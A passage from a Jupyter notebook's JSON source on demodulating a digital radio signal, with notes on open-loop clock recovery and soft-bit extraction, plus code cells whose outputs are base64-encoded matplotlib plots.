"source": [ "We extract the soft bits by guessing the correct clock phase and decimating. No pulse shaping matched filtering has been done, and tracking of the clock frequency is not necessary either. The separation between the bits 1 and 0 is good enough for demodulation without bit errors.\n", "\n", "Note that we correct for frequency offset and drift. This simple open loop clock recovery is enough to get good separation between the bits." ] }, { "cell_type": "code", "execution_count": 8, "metadata": {}, "outputs": [ { "data": { "text/plain": [ "[<matplotlib.lines.Line2D at 0x7fa0ecf16668>]" ] }, "execution_count": 8, "metadata": {}, "output_type": "execute_result" }, { "data": { "image/png": "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\nteuwPAAAAABJRU5ErkJggg==\n", "text/plain": [ "<Figure size 432x288 with 1 Axes>" ] }, "metadata": {}, "output_type": "display_data" } ], "source": [ "plt.plot(s)" ] }, { "cell_type": "code", "execution_count": 9, "metadata": {}, "outputs": [ { "data": { "image/png": "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\nRcnUSdS2dMUJA13C7z87wy